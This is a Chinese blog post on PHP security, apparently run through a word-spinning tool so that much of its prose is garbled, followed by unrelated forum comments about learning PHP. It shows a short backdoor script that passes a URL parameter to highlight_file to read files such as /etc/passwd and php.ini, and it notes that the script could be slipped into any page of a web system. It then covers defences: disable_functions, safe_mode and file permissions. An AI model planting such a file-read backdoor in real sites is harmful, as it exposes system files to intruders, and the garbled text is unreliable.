PHP网页编程之利用php代码加亮函数机关php小后门
从刚开始练习的PHP基础语法练习,到PHP语言在WEB中的应用,再到实际的项目开发,如留言版,相册系统,中小型公司网站系统,以及期间做过的有关团队合作的小游戏,让我受益匪浅,学到了很多。函数 [后门机关 ]咱们晓得php十分壮大,而且有良多风趣的功效,好比它就自带了一个php代码加亮的函数,叫做:highlight_string,它的参数就是一个字符串,假如这个字符串中包括了PHP代码,那末它将高亮显示,而且直接输入在阅读器中。
好比以下的代码:
<?php
highlight_string('<?php phpinfo(); ?>');
?>
履行后,在阅读器中输入:
<code><font color="#000000">
<font color="#0000BB"><?php phpinfo</font><font color="#007700">(); </font><font color="#0000BB">?></font>
</font>
</code>
显示代码的色彩,在php.ini文件中可以设置,php.ini中有以下选项:
;highlight.string= #DD0000
;highlight.comment = #FF9900
;highlight.keyword = #007700
;highlight.bg = #FFFFFF
;highlight.default = #0000BB
;highlight.html = #000000
这个是直接显示字符串色彩的,那末我要显示全部PHP文件呢?也有函数:highlight_file,函数参数就是文件名或文件途径。这个函数跟下面函数功效相似,不外它提交的是一个文件的途径罢了。
那末咱们的小后门关头就在这里了,就是也许咱们使用highlight_file函数来匡助咱们读取体系中恣意文件,如今咱们机关一段测试代码。
<?php
$file = $_GET['f'];
$file = $file ? $file : __FILE__;
highlight_file($file);
?>
代码大致功效就是经由过程URL中提交一个变量名为f的变量承受需求高亮显示代码的php文件途径,然后法式在挪用highlight_file函数来显示该文件。然后把该文件保留到我的团体主目次的public_html目次下,文件名为test.php。
如今咱们利用firefox翻开:http://192.168.0.1/~heiyeluren/test.php,前往的是咱们test.php的文件内容,如今咱们存取passwd文件看看:http://192.168.0.1/~heiyeluren/test.php?f=/etc/passwd
即刻页面里就显示了良多用户信息:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
......
咱们再检查php的设置装备摆设文件php.ini的信息:
http://192.168.0.1/~heiyeluren/test.php?f=/usr/local/php/lib/php.ini
即刻显示了:
;;;;;;;;;;;
; WARNING ;
;;;;;;;;;;;
; This is the default settings file for new PHP installations.
; By default, PHP installs itself with a configuration suitable for
; development purposes, and *NOT* for production purposes.
; For several security-oriented considerations that should be taken
; before going online with your site, please consult php.ini-recommended
; and http://php.net/manual/en/security.php.
......
看来只需权限答应,良多文件都可以直接读取,对咱们体系组成了伟大威逼。换句话说,假如把下面代码拔出到以后web体系中其他恣意一个可以直接会见的php文件中,经由过程特别的变脸停止激活,并且普通法式员是不会那末细心的反省每一个PHP法式文件,那末歹意用户就可以够随时随地检查咱们的体系文件。
[体系提防 ]
那末,假如避免,或说回绝相似的成绩呢?由于,一样的,php的文件存取函数十分多,好比file、file_get_contents、readfile等函数,咱们若何避免这些函数带来的威逼呢?
处理办法一:
假如体系中只是跟数据库停止交互,那末完整可以屏障失落这些文件存取函数,象fopen、file、file_get_contents、readfile、opendir等函数,办法就是在php的设置装备摆设文件php.ini中停止制止,php.ini中有一个选项叫做disable_functions,咱们可以把需求屏障的函数放到外面:
disable_functions = highlight_file,fopen,file,file_get_contents,readfile,opendir
那末下面那些函数就没法利用了,好比你挪用了highlight_file函数,那末php引擎会提醒你:
Warning: highlight_file() has been disabled for security reasons in /home/heiyeluren/public_html/test.php on line 5
固然,咱们不克不及一概而杀,只是说你可以制止失落那些根基不怎样利用的函数,好比highlight_file我感觉就利用的对照少。
处理办法二:
第一种办法太强迫性了,函数制止后将没法会见该函数,老是不是那末的合适,关于一些空间供应商来说,是不公道的,那末还有一个处理办法,仍是设置装备摆设咱们的php.ini,翻开php的平安形式:
safe_mode = On
固然,假如你需求,最好再设置装备摆设一下open_basedir之类的选项来更好的掌握,详细可参考php手册。
当咱们翻开了php的平安形式后,咱们再来会见一下/etc/passwd,提交URL:
http://192.168.0.1/~heiyeluren/test.php?f=/etc/passwd
那末阅读器中即刻就显示:
Warning: highlight_file() : SAFE MODE Restriction in effect. The script whose uid is 500 is not allowed to access /etc/passwd owned by uid 0 in /home/heiyeluren/public_html/test.php on line 5
处理办法三:
在不丧失咱们PHP壮大功效条件下,那些函数都可以正常利用,那提防办法就是设置咱们体系中各个目次的各类分歧会见权限,好比咱们的/etc/passwd文件。好比默许是这个权限:
[~]# ls -al /usr/local/php/lib/php.ini
-rw-r--r--1 root root 41489 5 12:40 /usr/local/php/lib/php.ini
咱们设置设置一下不是随意可以读的:
[~]# chmod 640 /usr/local/php/lib/php.ini
[~]# ls -al /usr/local/php/lib/php.ini
-rw-r-----1 root root 1865 Nov 27 01:16 /usr/local/php/lib/php.ini
如今,咱们在会见http://192.168.0.1/~heiyeluren/test.php?f=/usr/local/php/lib/php.ini 看看:
Warning: highlight_file(/usr/local/php/lib/php.ini) : failed to open stream: Permission denied in /home/heiyeluren/public_html/test.php on line 5
Warning: highlight_file() : Failed opening '/usr/local/php/lib/php.ini' for highlighting in /home/heiyeluren/public_html/test.php on line 5
正告说没有权限读取/usr/local/php/lib/php.ini这个文件,顺遂到达咱们的目标。
[停止语 ]
PHP的功效十分壮大,但愿更多的开辟者熟悉到这一点,早点利用这个壮大的言语。言语壮大,固然,平安也会成为一个成绩,咱们不论是开辟者仍是体系办理员,咱们都需求亲切沟通,把咱们的体系做的既平安,又好用。咱们就需求勉力进修,在壮大功效和平安性之间追求一个优秀的联合点。
write by heiyeluren
2006-03-05 下战书 13:35
你的确对PHP有兴趣,那么选择教材也是很重要的。 微软最近出的新字体“微软雅黑”,虽然是挺漂亮的,不过firefox支持的不是很好,所以能少用还是少用的好。 php是动态网站开发的优秀语言,在学习的时候万万不能冒进。在系统的学习前,我认为不应该只是追求实现某种效果,因为即使你复制他人的代码调试成功,实现了你所期望的效果,你也不了解其中的原理。 我还是强烈建议自己搭建php环境。因为在搭建的过程中你会遇到一些问题,通过搜索或是看php手册解决问题后,你会更加深刻的理解它们的工作原理,了解到php配置文件中的一些选项设置。 我学习了一段时间后,我发现效果并不好(估计是我自身的问题)。因为一个人的精力总是有限的,同时学习这么多,会导致每个的学习时间都得不到保证。 建数据库表的时候,int型要输入长度的,其实是个摆设的输入几位都没影响的,只要大于4就行,囧。 其实没啥难的,多练习,练习写程序,真正的实践比看100遍都有用。不过要熟悉引擎 首推的搜索引擎当然是Google大神,其次我比较喜欢 百度知道。不过搜出来的结果往往都是 大家copy来copy去的,运气的的概率很大。 使用zendstdio 写代码的的时候,把tab 的缩进设置成4个空格是很有必要的 真正的方向了,如果将来要去开发团队,你一定要学好smarty ,phplib这样的模板引擎, 有位前辈曾经跟我说过,phper 至少要掌握200个函数 编起程序来才能顺畅点,那些不熟悉的函数记不住也要一拿手册就能找到。所以建议新手们没事就看看php的手册(至少array函数和string函数是要记牢的)。 首先声明:我是一个菜鸟,是一个初学者。学习了一段php后总是感觉自己没有提高,无奈。经过反思我认为我学习过程中存在很多问题,我改变了学习方法后自我感觉有了明显的进步。 遇到出错的时候,我经常把错误信息直接复制到 google的搜索栏,一般情况都是能搜到结果的,不过有时候会搜出来一大片英文的出来,这时候就得过滤一下,吧中文的弄出来,挨着式方法。 再就是混迹于论坛啦,咱们的phpchina的论坛就很强大,提出的问题一般都是有达人去解答的,以前的帖子也要多看看也能学到不少前辈们的经验。别的不错的论坛例如php100,javaeye也是很不错的。 先学习php和mysql,还有css(html语言很简单)我认为现在的效果比以前的方法好。 本文当是我的笔记啦,遇到的问题随时填充 最后介绍一个代码出错,但是老找不到错误方法,就是 go to wc (囧),出去换换气没准回来就找到错误啦。 你很难利用原理去编写自己的代码。对于php来说,系统的学习我认为还是很重要的,当你有一定理解后,你可你针对某种效果研究,我想那时你不会只是复制代码的水平了。 php里的数组为空的时候是不能拿来遍历的;(这个有点低级啊,不过我刚被这个边界问题墨迹了好长一会) 当留言板完成的时候,下步可以把做1个单人的blog程序,做为目标,
页:
[1]